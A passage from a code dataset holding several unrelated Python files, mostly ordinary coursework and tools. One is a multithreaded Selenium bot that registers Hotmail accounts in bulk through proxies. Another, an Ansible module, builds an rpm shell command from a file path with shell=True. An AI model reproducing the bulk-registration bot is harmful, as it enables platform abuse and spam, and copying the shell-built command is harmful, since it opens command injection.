pyplot.plot(x, (w[0]*x + w[2] - 1)/-w[1])\n\n # percw, _ = perc(datas, MIRA=False, aggressive=False)\n e1, percw, avgw, errp, marginp = perc(datas, MIRA=False, aggressive=False, margin=0)\n e2, miraw, _, erra, margina = perc(datas, MIRA=True, aggressive=False, margin=0.2)\n e3, miraw2, _, erra2, margina2 = perc(datas, MIRA=True, aggressive=True, margin=0.5)\n print(e1, e2, e3)\n print(percw, avgw)\n print(np.linalg.norm(percw), np.linalg.norm(avgw))\n print(marginp, margina)\n print(errp, erra)\n\n pyplot.plot(x, (percw[0] * x + percw[2]) / -percw[1], \"--\", linewidth=0.2, label='perc') # PERC\n # pyplot.plot(x, (miraw[0]*x + miraw[2])/-miraw[1], \"-.\") # MIRA\n # pyplot.plot(x, (miraw2[0]*x + miraw2[2])/-miraw2[1], \"-.\", label='aggress. MIRA') # agg. MIRA\n\n print(X.shape)\n print(Y.shape)\n clf = svm.SVC(kernel='linear', C=C)\n clf.fit(X, Y)\n print(\"support vectors\")\n print(clf.support_vectors_)\n svmmodel = np.concatenate((clf.coef_[0], clf.intercept_))\n print(\"model (primal)\")\n print(svmmodel)\n print(clf.dual_coef_)\n pyplot.plot(x, (svmmodel[0] * x + svmmodel[2]) / -svmmodel[1], \"k-\", linewidth=2.0, label='svm') # SVM\n pyplot.plot(x, (svmmodel[0] * x + 1 + svmmodel[2]) / -svmmodel[1], \"-.\", linewidth=1.0)\n pyplot.plot(x, (svmmodel[0] * x - 1 + svmmodel[2]) / -svmmodel[1], \"-.\", linewidth=1.0)\n\n for ps, alpha in zip(clf.support_vectors_, clf.dual_coef_[0]):\n if abs(alpha) == C: # violating support vectors: alpha == C\n pyplot.plot(ps[0], ps[1], \"D\", ms=10, markeredgecolor='g', markerfacecolor='None')\n pyplot.text(ps[0] + 0.2, ps[1] - 0.8, \"%.1f\" % (1 - sign(alpha) * (svmmodel.dot([ps[0], ps[1], 1]))),\n color='red') # show slack\n else: # good support vectors: 0 < alpha < C\n pyplot.plot(ps[0], ps[1], \"o\", ms=12, markeredgecolor='g', markerfacecolor='None')\n pyplot.text(ps[0] + 0.2, ps[1] + 0.2, \"%.4f\" % abs(alpha), color='gray') # show alpha\n\n pyplot.title(\"SVM C=%s\" % C)\n pyplot.legend(loc=2)\n pyplot.xlim(-10, 10)\n pyplot.ylim(-10, 10)\n pyplot.xticks(x)\n pyplot.yticks(x)\n\n\nif __name__ == \"__main__\":\n\n C = float(sys.argv[1]) if len(sys.argv) > 1 else 0.01\n pyplot.ion()\n while True:\n gen(C=C)\n pyplot.show()\n try:\n a = raw_input()\n except:\n break\n pyplot.clf()\n","repo_name":"anth0nyhle/OSUCoursework","sub_path":"CS534-MachineLearning/hw2/perc-svm-demo/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":3739,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9792509534","text":"import threading\nimport tkinter\nfrom tkinter import *\nimport re\nimport sys\nfrom itertools import cycle\nfrom tkinter import ttk\nimport concurrent.futures\nimport tkinter.messagebox\nfrom selenium import webdriver as wd\nfrom selenium.webdriver.chrome.service import Service\n\nfrom src.create_hotmail import reg_outlook\nfrom src.get_resolution_computer import max_size_each_browser_new\nfrom src.privateChromeOptions import setting_chrome_privated\nfrom src.readExcelData import read_info_in_excel, write_status\n\nMAX_WIDTH_EACH_WINDOW = 100\nMAX_HEIGHT_EACH_WINDOW = 100\nWINDOW_LIST_COORDINATES = list()\n\n\ndef start_browser(account):\n global status_lbl_text, use_proxy_var\n has_proxy = bool(use_proxy_var.get())\n x_coordinates, y_coordinates = next(WINDOW_LIST_COORDINATES)\n if has_proxy:\n if account['proxy'] is not None and account['proxy'] != '':\n chrome_options_setting = setting_chrome_privated(account['proxy'])\n else:\n return 'Bạn chưa điền proxy'\n else:\n chrome_options_setting = setting_chrome_privated(False)\n driver = wd.Chrome(service=Service('chromedriver.exe'), options=chrome_options_setting)\n driver.set_window_position(x_coordinates, y_coordinates)\n driver.set_window_size(MAX_WIDTH_EACH_WINDOW, MAX_HEIGHT_EACH_WINDOW)\n # input('test')\n info_account = reg_outlook(driver, account)\n return info_account\n\n\ndef start_reg_account():\n global max_threading_number, status_lbl_text, WINDOW_LIST_COORDINATES, MAX_WIDTH_EACH_WINDOW, MAX_HEIGHT_EACH_WINDOW\n try:\n if max_threading_number.get() <= 0 or max_threading_number.get() > 30:\n print('Số luồng phải trong khoảng 1-30')\n sys.exit()\n data_full = read_info_in_excel()\n WINDOW_LIST_COORDINATES, MAX_WIDTH_EACH_WINDOW, MAX_HEIGHT_EACH_WINDOW = max_size_each_browser_new(\n max_threading_number.get())\n WINDOW_LIST_COORDINATES = cycle(WINDOW_LIST_COORDINATES)\n status_lbl_text.set('Đang chạy..')\n\n if data_full:\n with concurrent.futures.ThreadPoolExecutor(max_workers=max_threading_number.get()) as executor:\n for acc, result in zip(data_full, executor.map(start_browser, data_full)):\n print(result, '-Excel col-', acc['current_row'])\n write_status(result, acc['current_row'], 8)\n status_lbl_text.set('Đã chạy xong')\n else:\n tkinter.messagebox.showerror(title='Lỗi dữ liệu đầu vào', message='Không có dữ liệu excel')\n\n except Exception as e:\n e = re.sub(r'Stacktrace.+', '', str(e), flags=re.S)\n print(e)\n\n\nif __name__ == '__main__':\n top = Tk()\n top.title('Auto Reg Hotmail - Thuan Luu')\n top.geometry(\"340x190+790+300\")\n top.resizable(False, False)\n\n # value\n max_threading_number = tkinter.IntVar(value=1)\n use_proxy_var = tkinter.IntVar(value=0)\n status_lbl_text = tkinter.StringVar(value='Vui lòng điền dữ liệu vào data.xlxs trước khi chạy tool')\n # end value\n\n # MAIN FEATURES\n main_zone = LabelFrame(top, text=\"Chức năng\", bd=2)\n main_zone.grid(row=0, column=0, columnspan=3, ipadx=12, ipady=8, padx=15, pady=5)\n\n # thread number\n Label(main_zone, text=\"Số luồng\", wraplength=260).grid(row=1, column=0, sticky='ns', padx=12)\n max_thearding_number_entry = Entry(main_zone, width=30, text=max_threading_number)\n max_thearding_number_entry.grid(row=1, column=1, sticky='nw', padx=(10, 0))\n\n # user proxy\n Label(main_zone, text=\"Dùng proxy\").grid(row=2, column=0, sticky='ns')\n use_proxy_radio = Radiobutton(main_zone, text=\"Có\", variable=use_proxy_var, value=1)\n use_proxy_radio.grid(row=2, column=1, sticky='nw', padx=5)\n not_use_proxy_radio = Radiobutton(main_zone, text=\"Không\", variable=use_proxy_var, value=0)\n not_use_proxy_radio.grid(row=2, column=1, sticky='ne', padx=(0, 20))\n\n # status\n Label(main_zone, text=\"Trạng thái: \", font=(\"Helvetica\", 10)).grid(row=3, column=0, sticky='ns')\n status_lbl = Label(main_zone, textvariable=status_lbl_text, fg='#04AA6D',\n wraplength=190,\n font=(\"Helvetica\", 10))\n status_lbl.grid(row=3, column=1, padx=7, sticky='w', columnspan=2)\n\n # run button\n run_btn = Button(main_zone, text='Run', width=8,\n command=lambda: threading.Thread(target=start_reg_account).start())\n # command=start_profile)\n run_btn.grid(row=5, column=1, padx=(4, 5), pady=(5, 0), sticky='e')\n # END MAIN FEATURES\n top.mainloop()\n","repo_name":"thuanprovp1/ToolRegHotmailDemo","sub_path":"main_tkinter.py","file_name":"main_tkinter.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41357763161","text":"import sqlite3\nmi_conexion=sqlite3.connect(\"PrimeraBase\")\nmi_cursor=mi_conexion.cursor()\n\n# mi_cursor.execute(\"CREATE TABLE PRODUCTOS (NOMBRE_ARTICULO VARCHAR(50),PRECIO INTEGER,SECCION VARCHAR(20)) \")\n# mi_cursor.execute(\"INSERT INTO PRODUCTOS VALUES('BALON',15,'DEPORTES')\")\n\n# variosProductos=[\n# (\"Camiseta\",10,\"Deportes\"),\n# (\"Jarron\",90,\"Ceramica\"),\n# (\"Camion\",20,\"Jugueteria\")\n# ]\n# mi_cursor.executemany(\"INSERT INTO PRODUCTOS VALUES(?,?,?)\",variosProductos)\n\nmi_cursor.execute(\"SELECT * FROM PRODUCTOS\")\nvariosProductos=mi_cursor.fetchall()\nfor producto in variosProductos:\n print(\"Nombre Articulo:\", producto[0], \"Seccion: \",producto[2])\nmi_conexion.commit()\nmi_conexion.close()","repo_name":"idalyli/pildoraspython","sub_path":"basedatos/ejemplo1BBDD.py","file_name":"ejemplo1BBDD.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21050304873","text":"import os\n\nfiles = os.listdir(\"raw\")\n\ncountries = []\nquestions = {}\nanswers = {}\nnq = 0\n\nfor fn in files:\n country = fn.split(\".\")[0]\n countries.append(country)\n\n cq = []\n ca = []\n with open(os.path.join(\"raw\", fn)) as f:\n qs = f.read().strip().split(\"\\n\\n\")\n nq += len(qs)\n print(\"Found\", country + \":\", len(qs), \"questions\")\n for q in qs:\n lines = q.strip().split(\"\\n\")\n cq.append({\n \"q\": lines[0].strip(),\n \"a\": [line.strip() for line in lines[1:-1]],\n })\n ca.append(int(lines[-1].strip()) - 1)\n\n questions[country] = cq\n answers[country] = ca\n\nimport json\nwith open(\"questions.js\", \"w\") as f:\n f.write(f\"const qcountries = {json.dumps(countries)};\\n\\n\")\n f.write(f\"const questions = {json.dumps(questions, indent = 2)};\\n\")\n\nwith open(\"answers.js\", \"w\") as f:\n f.write(f\"const answers = {json.dumps(answers, indent = 2)};\\n\")\n\nprint(\"OK\", nq, \"questions found.\")\n","repo_name":"yurisoba/tica","sub_path":"gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2610333446","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# (c) 2016, Eric D Helms \n# (c) 2018, Sean O'Keeffe \n#\n# This file is part of Ansible\n#\n# Ansible is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Ansible is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Ansible. If not, see .\n\nDOCUMENTATION = '''\n---\nmodule: katello_upload\nshort_description: Upload content to Katello\ndescription:\n - Allows the upload of content to a Katello repository\nauthor: \"Eric D Helms (@ehelms)\"\nrequirements:\n - \"nailgun >= 0.28.0\"\n - \"python >= 2.6\"\noptions:\n server_url:\n description:\n - URL of Foreman server\n required: true\n username:\n description:\n - Username on Foreman server\n required: true\n password:\n description:\n - Password for user accessing Foreman server\n required: true\n verify_ssl:\n description:\n - Verify SSL of the Foreman server\n required: false\n default: true\n type: bool\n src:\n description:\n - File to upload\n required: true\n type: path\n aliases:\n - file\n repository:\n description:\n - Repository to upload file in to\n required: true\n product:\n description:\n - Product to which the repository lives in\n required: true\n organization:\n description:\n - Organization that the Product is in\n required: true\nnotes:\n - Currently only idempotent when uploading a RPM\n'''\n\nEXAMPLES = '''\n- name: \"Upload my.rpm\"\n katello_upload:\n username: \"admin\"\n password: \"changeme\"\n server_url: \"https://foreman.example.com\"\n src: \"my.rpm\"\n repository: \"Build RPMs\"\n product: \"My Product\"\n organization: \"Default Organization\"\n'''\n\nRETURN = '''# '''\n\ntry:\n from ansible.module_utils.ansible_nailgun_cement import (\n create_server,\n ping_server,\n find_organization,\n find_product,\n find_repository,\n find_package,\n )\n\n from nailgun.entities import (\n ContentUpload,\n )\n from subprocess import check_output\n has_import_error = False\nexcept ImportError as e:\n has_import_error = True\n import_error_msg = str(e)\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible.module_utils._text import to_native\n\n\ndef upload(module, src, repository):\n content_upload = ContentUpload(repository=repository)\n if not module.check_mode:\n content_upload.upload(src)\n return True\n\n\ndef main():\n module = AnsibleModule(\n argument_spec=dict(\n server_url=dict(required=True),\n username=dict(required=True, no_log=True),\n password=dict(required=True, no_log=True),\n verify_ssl=dict(type='bool', default=True),\n src=dict(required=True, type='path', aliases=['file']),\n repository=dict(required=True),\n product=dict(required=True),\n organization=dict(required=True),\n ),\n supports_check_mode=True,\n )\n\n if has_import_error:\n module.fail_json(msg=import_error_msg)\n\n entity_dict = dict(\n [(k, v) for (k, v) in module.params.items() if v is not None])\n\n server_url = entity_dict.pop('server_url')\n username = entity_dict.pop('username')\n password = entity_dict.pop('password')\n verify_ssl = entity_dict.pop('verify_ssl')\n\n try:\n create_server(server_url, (username, password), verify_ssl)\n except Exception as e:\n module.fail_json(msg=\"Failed to connect to Foreman server: %s \" % e)\n\n ping_server(module)\n\n entity_dict['organization'] = find_organization(module, name=entity_dict['organization'])\n entity_dict['product'] = find_product(module, name=entity_dict['product'], organization=entity_dict['organization'])\n entity_dict['repository'] = find_repository(module, name=entity_dict['repository'], product=entity_dict['product'])\n\n package = False\n if entity_dict['repository'].content_type == \"yum\":\n name, version, release, arch = check_output(\"rpm --queryformat '%%{NAME} %%{VERSION} %%{RELEASE} %%{ARCH}' -qp %s\" % entity_dict['src'],\n shell=True).decode('ascii').split()\n query = \"name = \\\"{}\\\" and version = \\\"{}\\\" and release = \\\"{}\\\" and arch = \\\"{}\\\"\".format(name, version, release, arch)\n package = find_package(module, query, repository=entity_dict['repository'], failsafe=True)\n\n changed = False\n if package is None or package is False:\n try:\n changed = upload(module, entity_dict['src'], entity_dict['repository'])\n except Exception as e:\n module.fail_json(msg=to_native(e))\n\n module.exit_json(changed=changed)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ericsysmin/ansible-role-foreman_modules","sub_path":"library/katello_upload.py","file_name":"katello_upload.py","file_ext":"py","file_size_in_byte":5334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"75210785333","text":"import numpy as np\n\n\nclass Calibration:\n def __init__(self, screen_points, world_points):\n self.screen_points = screen_points\n self.world_points = world_points\n\n x = screen_points[:, 0]\n y = screen_points[:, 1]\n\n X = world_points[:, 0]\n Y = world_points[:, 1]\n Z = world_points[:, 2]\n\n a_x = np.array([\n -X, -Y, -Z, -np.ones(6),\n np.zeros(6), np.zeros(6), np.zeros(6), np.zeros(6),\n x * X, x * Y, x * Z, x\n ])\n\n a_y = np.array([\n np.zeros(6), np.zeros(6), np.zeros(6), np.zeros(6),\n -X, -Y, -Z, -np.ones(6),\n y * X, y * Y, y * Z, y\n ])\n\n M = np.empty((2 * 6, 12))\n M[::2, :] = a_x.T\n M[1::2, :] = a_y.T\n\n U, S, V = np.linalg.svd(M)\n\n P = V[-1, :].reshape((3, 4))\n\n self.matrix = P\n\n def project_3d_to_2d(self, coord):\n a, b, c = self.matrix @ np.append(coord, np.ones(1)).T\n\n return np.array([a / c, b / c])\n\n # noinspection PyPep8Naming\n def project_2d_to_3d(self, coord, X=None, Y=None, Z=None):\n M = np.array([\n [\n self.matrix[2, 0] * coord[0] - self.matrix[0, 0],\n self.matrix[2, 1] * coord[0] - self.matrix[0, 1],\n self.matrix[2, 2] * coord[0] - self.matrix[0, 2]\n ],\n [\n self.matrix[2, 0] * coord[1] - self.matrix[1, 0],\n self.matrix[2, 1] * coord[1] - self.matrix[1, 1],\n self.matrix[2, 2] * coord[1] - self.matrix[1, 2]\n ]\n ])\n\n M = np.vstack([\n [\"X\", \"Y\", \"Z\"],\n M\n ])\n\n rest_coords = np.array([\"X\", \"Y\", \"Z\"])\n result = np.array([\n [\"X\", \"Y\", \"Z\"],\n [0, 0, 0]\n ])\n\n v = np.array([\n self.matrix[0, 3] - self.matrix[2, 3] * coord[0],\n self.matrix[1, 3] - self.matrix[2, 3] * coord[1],\n ])\n\n if X is not None:\n v -= M[:, np.argwhere(M[0, :] == \"X\").flatten()][1:, :].astype(np.float64).flatten() * X\n M = np.delete(\n M,\n np.argwhere(M[0, :] == \"X\").flatten(),\n axis=1\n )\n rest_coords = np.delete(\n rest_coords,\n np.argwhere(rest_coords == \"X\"),\n axis=0\n )\n result[1, 0] = X\n\n if Y is not None:\n v -= M[:, np.argwhere(M[0, :] == \"Y\").flatten()][1:, :].astype(np.float64).flatten() * Y\n M = np.delete(\n M,\n np.argwhere(M[0, :] == \"Y\").flatten(),\n axis=1\n )\n rest_coords = np.delete(\n rest_coords,\n np.argwhere(rest_coords == \"Y\"),\n axis=0\n )\n result[1, 1] = Y\n\n if Z is not None:\n v -= M[:, np.argwhere(M[0, :] == \"Z\").flatten()][1:, :].astype(np.float64).flatten() * Z\n M = np.delete(\n M,\n np.argwhere(M[0, :] == \"Z\").flatten(),\n axis=1\n )\n rest_coords = np.delete(\n rest_coords,\n np.argwhere(rest_coords == \"Z\"),\n axis=0\n )\n result[1, 2] = Z\n\n if M.shape[1] == 0:\n print(\"Cannot solve equation with shape 0\")\n raise Exception\n elif M.shape[1] == 1:\n divide_array = v / M[1:, :].astype(np.float64).flatten()\n\n if divide_array[0] == divide_array[1]:\n return divide_array[0]\n else:\n print(\"Cannot solve equation system (various solutions)\")\n raise Exception\n elif M.shape[1] == 2:\n idxs = np.in1d(result[0, :], rest_coords)\n result = result[1, :].astype(np.float64)\n\n M = M[1:, :].astype(np.float64)\n\n result[idxs] = np.linalg.solve(M, v)\n else:\n print(\"Cannot solve equation with shape {}\".format(M.shape[1]))\n raise Exception\n\n return result.reshape(3)\n","repo_name":"EasySocHacks/CCTV-object-projector","sub_path":"backend/camera/calibration/calibration.py","file_name":"calibration.py","file_ext":"py","file_size_in_byte":4123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17970701331","text":"# -*- cocoding: utf-8 -*-\nimport sys\nimport pandas as pd\nimport seaborn as sns\nimport json\nreload(sys)\nimport numpy as np\nsys.setdefaultencoding('utf-8')\nf_file = '/Users/ufenqi/Downloads/fanqizha/2017fanqizhamax/traindatainner.csv'\nfdf = pd.read_csv(f_file)\nfdf['39u'] = 1.0 * fdf['39'] / (fdf['41'] + 1)\nfdf = fdf.round(10)\n\ns_file = '/Users/ufenqi/Downloads/fanqizha/2017fanqizhamax/11_15_test/featurename_online'\n# s_file = '/Users/ufenqi/Downloads/featurename_update'\nfeaidlist = []\nfeanamelist = []\n# feaidlist.append('0')\nwith open(s_file, 'r') as fp:\n for line in fp:\n linelist = line.strip().split(',')\n feaidlist.append(linelist[0])\n feanamelist.append(linelist[1])\ncolumns = feaidlist\nfdf=fdf[columns]\nfdf.columns=feanamelist\ndesdf=fdf.describe().T\ndesdf['featurename']=desdf.index\ncol=desdf.columns.tolist()\ndesdf=desdf[col[-1:]+col[:-1]]\ndesdf.to_csv('/Users/ufenqi/Downloads/train.csv',index=False)","repo_name":"datadragon1363193649/datadragon","sub_path":"fanqizha/temporary/sqlformat.py","file_name":"sqlformat.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38503831871","text":"from math import ceil\n\n\ndef parse_input_14(path):\n file = open(path, 'rt')\n reactions = dict()\n for line in file:\n line = line.rstrip().split(' => ')\n inputs = line[0].split(', ')\n output = line[1].split(' ')\n output = (output[1], int(output[0]))\n inputs = [(x[1], int(x[0])) for x in [x.split(' ') for x in inputs]]\n reactions[output[0]] = [inputs, output[1]]\n return reactions\n\n\ndef part1(data, num_to_make=1):\n stock = {}\n reactions = data\n ore_count = 0\n needed = [('FUEL', num_to_make)]\n while len(needed) > 0:\n line = needed[0]\n item = line[0]\n num_needed = line[1]\n if item == 'ORE':\n needed.remove(line)\n ore_count += num_needed\n continue\n if item in stock:\n if stock[item] > 0:\n if stock[item] <= num_needed:\n num_needed -= stock[item]\n stock[item] = 0\n else:\n stock[item] -= num_needed\n needed.remove(line)\n continue\n way_to_make = reactions[item]\n batch_scale = ceil(num_needed / way_to_make[1])\n excess = batch_scale * way_to_make[1] - num_needed\n needed += [(pair[0], pair[1] * batch_scale) for pair in way_to_make[0]]\n if batch_scale * way_to_make[1] > num_needed:\n if item not in stock:\n stock[item] = 0\n stock[item] += excess\n needed.remove(line)\n return ore_count\n\n\ndef part2(data):\n target_ore = 1000000000000\n LB = 0\n UB = target_ore\n while UB - LB > 1:\n midpoint = (UB + LB) // 2\n ore_for_this_fuel = part1(data, midpoint)\n if ore_for_this_fuel < target_ore:\n LB = midpoint\n elif ore_for_this_fuel > target_ore:\n UB = midpoint\n else:\n return midpoint\n return LB\n\n\nINPUT = parse_input_14('inputs/14.txt')\nprint(part1(INPUT), part2(INPUT))\n","repo_name":"ComputahSaysNo/AOC_2019","sub_path":"14.py","file_name":"14.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18742327828","text":"#!/usr/bin/env python3\n\nimport numpy as np\n\nfrom computeCostMulti import computeCostMulti\n\n\ndef gradientDescentMulti(X, y, theta, alpha, num_iters):\n #GRADIENTDESCENTMULTI Performs gradient descent to learn theta\n # theta = GRADIENTDESCENTMULTI(x, y, theta, alpha, num_iters) updates theta by\n # taking num_iters gradient steps with learning rate alpha\n\n # Initialize some useful values\n m = y.shape[0] # number of training examples\n J_history = np.reshape(np.zeros((num_iters, 1)), (num_iters, 1))\n\n for i in range(num_iters):\n\n # ====================== YOUR CODE HERE ======================\n # Instructions: Perform a single gradient step on the parameter vector\n # theta.\n #\n # Hint: While debugging, it can be useful to print out the values\n # of the cost function (computeCostMulti) and gradient here.\n #\n\n theta = np.subtract(theta, (alpha / m) * np.dot(np.subtract(np.dot(X, theta), y).T, X).T)\n\n # ============================================================\n\n # Save the cost J in every iteration\n J_history[i, 0] = computeCostMulti(X, y, theta)\n\n return (theta, J_history)\n","repo_name":"altermarkive/machine-learning-course-by-stanford-university","sub_path":"machine-learning-ex1/ex1/gradientDescentMulti.py","file_name":"gradientDescentMulti.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"41569770131","text":"import argparse\nimport logging\nimport os\nimport sys\nimport time\n\nimport auto_upgrade\nimport config\nimport csu_web_server\nimport csuapp\nimport dao\nimport health_check\nimport logger\nimport probe_db\nimport psycopg2\nimport service_hander\nimport sessions\nimport ui_req_clup_adm\nimport ui_req_handler_common\nimport ui_req_handler_db\nimport ui_req_handler_ha\nimport ui_req_handler_host\nimport ui_req_handler_task\nimport version\n\nexit_flag = 0\n\n\ndef check_env():\n # 检查psql命令是否存在\n psql_cmd = config.get('psql_cmd')\n if not os.path.exists(psql_cmd):\n logging.fatal(f\"Can not find psql({psql_cmd}), please check psql_cmd in config!\")\n sys.exit(-1)\n\n\ndef gen_http_handler(obj: object) -> dict:\n \"\"\"\n :param obj:\n :return:\n \"\"\"\n\n o_name = obj.__name__\n prefix = 'ui'\n if not o_name.startswith(prefix):\n logging.error(f\"Invalid uiapi object name(must begin 'ui'):{o_name}\")\n return {}\n\n obj_attr_list = dir(obj)\n handler_func_dict = {}\n for attr_name in obj_attr_list:\n if attr_name.startswith(\"__\"):\n continue\n attr_val = getattr(obj, attr_name)\n if not callable(attr_val):\n continue\n handler_func_dict[attr_name] = attr_val\n return handler_func_dict\n\n\ndef check_and_gen_handler():\n obj_list = [\n ui_req_handler_common,\n ui_req_clup_adm,\n ui_req_handler_db,\n ui_req_handler_ha,\n ui_req_handler_host,\n ui_req_handler_task\n ]\n\n ui_api_dict = {}\n func_name_check_dict = {}\n for obj in obj_list:\n hdict = gen_http_handler(obj)\n for k in hdict:\n if k in func_name_check_dict:\n logging.fatal(f\"duplicate function name {k} in module: {obj.__name__} and {func_name_check_dict[k]}\")\n sys.exit(-1)\n func_name_check_dict[k] = obj.__name__\n ui_api_dict.update(hdict)\n return ui_api_dict\n\n\ndef check_and_start_csumdb():\n need_start = False\n db_host = config.get(\"db_host\")\n db_name = config.get(\"db_name\")\n db_port = config.get(\"db_port\")\n db_user = config.get(\"db_user\")\n db_pass = config.get(\"db_pass\")\n try:\n _conn = psycopg2.connect(database=db_name, user=db_user, password=db_pass,\n host=db_host, port=db_port, connect_timeout=10)\n except Exception:\n need_start = True\n if not need_start:\n return\n logging.info(\"start csumdb...\")\n csumdb_user = \"csumdb\"\n start_cmd = f\"su - {csumdb_user} -c 'pg_ctl start'\"\n ret_code = os.system(start_cmd)\n if ret_code == 0:\n logging.info(\"csumdb is started.\")\n else:\n logging.fatal(\"can not start csumdb, please check and restart clup server!\")\n\n\ndef start(foreground):\n logging.info(\"========== CLup starting ==========\")\n\n ui_api_dict = check_and_gen_handler()\n\n check_env()\n\n # 在调用csuapp.prepare_run之前不要启动任何进程,线程锁也不要使用,\n # csuapp.prepare_run会fork子进程,后续是在子进程中运行会导致异常\n # 在csuapp.prepare_run之前创建的线程锁、数据库连接在后续的子进程中会异常。\n csuapp.prepare_run('clup', foreground)\n\n probe_db.start_service()\n\n # start csumdb\n check_and_start_csumdb()\n\n # 启动对外的rpc服务\n service_hander.start()\n\n logging.info(\"begin check and upgrade...\")\n try:\n err_code, err_msg = auto_upgrade.check_and_upgrade()\n if err_code != 0:\n logging.error(f\"Upgrade failed: \\n {err_msg}\")\n sys.exit(1)\n\n except Exception as e:\n logging.error(f\"Upgrade failed: {repr(e)}\")\n sys.exit(1)\n\n\n # 装载在配置表clup_settings中的配置\n config.load_setting()\n\n # 把表中的一些中间状态修改成持久化的状态\n logging.info(\"begin recover pending...\")\n dao.recover_pending()\n logging.info(\"database recover pending finished.\")\n\n # 启动检查进程\n logging.info(\"Start ha checking thread... \")\n health_check.start_check()\n\n csu_web_server.start(config.get_web_root(),\n (\"0.0.0.0\", config.getint('http_port')),\n ui_api_dict,\n sessions,\n csuapp.is_exit)\n\n\n while not csuapp.is_exit():\n time.sleep(1)\n\n err_code = csuapp.cleanup()\n if err_code == 0:\n logging.info(\"========== CLup stoppped ==========\")\n sys.exit(0)\n else:\n logging.info(\"========== CLup stoppped with error ==========\")\n sys.exit(1)\n\n\ndef stop():\n csuapp.stop('clup', retry_cnt=1, retry_sleep_seconds=1)\n\n\ndef status():\n err_code, status_msg = csuapp.status('clup')\n print(status_msg)\n sys.exit(err_code)\n\n\ndef reg_service():\n script = os.path.join('/opt/clup/bin', \"clupserver\")\n err_code, err_msg = csuapp.reg_service(\n 'clup',\n after_service_list=['network-online.target'],\n service_script=script)\n if err_code != 0:\n print(err_msg)\n\n\ndef main():\n\n prog = sys.argv[0]\n usage = f\"{prog} [options]\\n\" \\\n \" command can be one of the following:\\n\" \\\n \" start : start ha_server\\n\" \\\n \" stop : stop haaggent \\n\" \\\n \" status : display ha_server status\\n\" \\\n \" reg_service : register to a system service\\n\" \\\n \" version : display version information.\\n\" \\\n \"\"\n # parser = OptionParser(usage=usage)\n parser = argparse.ArgumentParser(usage=usage)\n\n parser.add_argument(\"-l\", \"--loglevel\", action=\"store\", dest=\"loglevel\", default=\"info\",\n help=\"Specifies log level: debug, info, warn, error, critical, default is info\")\n parser.add_argument(\"-f\", \"--foreground\", action=\"store_true\", dest=\"foreground\",\n help=\"Run in foreground, not daemon, only for start command.\")\n\n if len(sys.argv) == 1 or sys.argv[1] == '-h' or sys.argv[1] == '--help':\n print(version.copyright_message())\n # parser.print_help()\n print(f\"usage: {usage}\")\n sys.exit(0)\n if sys.argv[1] == 'version':\n print(version.copyright_message())\n sys.exit(0)\n orig_args = sys.argv[2:]\n new_args = []\n for arg in orig_args:\n if len(arg) == 1:\n arg = '-' + arg\n new_args.append(arg)\n args = parser.parse_args(new_args)\n\n log_level_dict = {\n \"debug\": logging.DEBUG,\n \"info\": logging.INFO,\n \"warn\": logging.WARN,\n \"error\": logging.ERROR,\n \"critical\": logging.CRITICAL,\n }\n\n str_log_level = args.loglevel.lower()\n if str_log_level not in log_level_dict:\n sys.stderr.write(\"Unknown loglevel: \" + args.loglevel)\n sys.exit(-1)\n\n if sys.argv[1] in ['start', 'status', 'reg_service']:\n logging.info(version.copyright_message())\n\n # 初使用化日志\n log_level = log_level_dict[args.loglevel.lower()]\n os.makedirs(config.get_log_path(), 0o700, exist_ok=True)\n log_file = os.path.join(config.get_log_path(), 'clupserver.log')\n logger.init(log_level, log_file)\n config.load()\n\n if sys.argv[1] == 'start':\n start(args.foreground)\n elif sys.argv[1] == 'status':\n status()\n elif sys.argv[1] == 'stop':\n stop()\n elif sys.argv[1] == 'reg_service':\n reg_service()\n else:\n sys.stderr.write(f'Invalid command: {sys.argv[1]}\\n')\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"csudata/clup","sub_path":"lib/clup_server.py","file_name":"clup_server.py","file_ext":"py","file_size_in_byte":7491,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73526708851","text":"# Write a function named max_key that takes a dictionary named my_dictionary as a parameter.\n# The function should return the key associated with the largest value in the dictionary.\n\n# Write your max_key function here:\ndef max_key(my_dictionary):\n # Store a key from my_dictionary as largest_value\n largest_key = list(my_dictionary.keys())[0]\n # Iterate through keys of my_dictionary\n for key in my_dictionary.keys():\n # If largest_key value < key value\n if (my_dictionary[largest_key] < my_dictionary[key]):\n # Set largest_key equal to key\n largest_key = key\n # Return largest_key\n return largest_key\n\n# Uncomment these function calls to test your function:\nprint(max_key({1:100, 2:1, 3:4, 4:10}))\n# should print 1\nprint(max_key({\"a\":100, \"b\":10, \"c\":1000}))\n# should print 